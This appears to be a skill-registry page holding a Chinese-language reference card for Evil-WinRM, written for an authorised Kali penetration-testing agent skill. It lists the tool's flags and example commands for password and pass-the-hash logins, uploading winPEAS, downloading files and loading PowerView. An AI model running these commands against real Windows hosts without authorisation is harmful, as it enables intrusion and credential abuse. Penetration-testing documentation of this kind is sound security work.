x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/exploitation/tools/evil-winrm.md
View on GitHub# Evil-WinRM
- **Category**: Exploitation / Windows Remote Management
- **Risk Level**: 🔴 High
---
> ⚠️ **可能需要 root/sudo** 权限才能全局安装 gem。必须已安装 Ruby。在 Kali 上,也可通过 `apt install evil-winrm` 安装。
## 描述
专为渗透测试设计的 WinRM 客户端,连接 Windows 远程管理服务(端口 5985/5986),提供功能丰富的命令行界面,支持文件上传/下载、Pass-the-Hash、证书认证、PowerShell 脚本加载等。
## 安装
```bash
sudo apt install evil-winrm
```
## 参数说明
| 参数 | 说明 |
|------|------|
| `-i <ip>` | 目标 IP 或主机名(Kerberos 认证需要 FQDN,必填) |
| `-u <user>` | 用户名(不使用 Kerberos 时必填) |
| `-p <pass>` | 密码 |
| `-H <hash>` | NTHash(哈希传递攻击) |
| `-P <port>` | 端口(默认:5985) |
| `-S` | 启用 SSL(默认端口变为 5986) |
| `-c <path>` | 公钥证书本地路径 |
| `-k <path>` | 私钥证书本地路径 |
| `-r <realm>` | Kerberos 域/域名(需在 `/etc/krb5.conf` 中配置) |
| `-K <file>` | Kerberos 票据文件(ccache 或 kirbi 格式,自动检测) |
| `--spn <prefix>` | Kerberos 认证的 SPN 前缀(默认:HTTP) |
| `-s <path>` | PowerShell 脚本本地路径(通过 menu 加载) |
| `-e <path>` | C# 可执行文件本地路径(通过 menu 加载) |
| `-U <url>` | 远程 URL 端点(默认:/wsman) |
| `-a <ua>` | 连接 User-Agent(默认:Microsoft WinRM Client) |
| `-n` | 禁用颜色 |
| `-l` | 记录 WinRM 会话日志 |
## 常用命令
```bash
# 密码认证
evil-winrm -i 192.168.1.100 -u administrator -p Password123
# PTH 攻击(无需明文密码)
evil-winrm -i 192.168.1.100 -u administrator -H NTLM_HASH
# HTTPS 连接
evil-winrm -i 192.168.1.100 -u user -p pass -S
# 连接后常用操作
*Evil-WinRM* PS> upload /tmp/winpeas.exe C:\temp\winpeas.exe
*Evil-WinRM* PS> download C:\Users\admin\flag.txt /tmp/flag.txt
*Evil-WinRM* PS> Invoke-Expression (Get-Content C:\scripts\recon.ps1 | Out-String)
# 从本地脚本目录加载 PowerShell 模块
evil-winrm -i 192.168.1.100 -u admin -p pass -s /tmp/ps_scripts/
*Evil-WinRM* PS> PowerView.ps1 # 输入文件名自动加载/点引用
# 菜单(获取帮助)
*Evil-WinRM* PS> menu
```
## 注意事项
1. `evil-winrm` 需要目标开启 WinRM——连接前用 `nxc winrm <target>` 验证。
2. 哈希传递(PTH)认证仅使用 NT 哈希——格式:`-H 32ed87bdb5fdc5e9cba88547376818d4`(不是完整的 LM:NT 对)。
3. 使用 `-s <path>` 在连接时加载 PowerShell 脚本——在会话中直接上传并执行工具。
4. `-e` 标志指定可执行文件路径——配合预编译工具使用(如 winPEAS、SharpHound)。
5. WinRM 监听 5985(HTTP)和 5986(HTTPS)端口——若连接被拒绝,检查防火墙规则。
---
## 官方参考
- [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |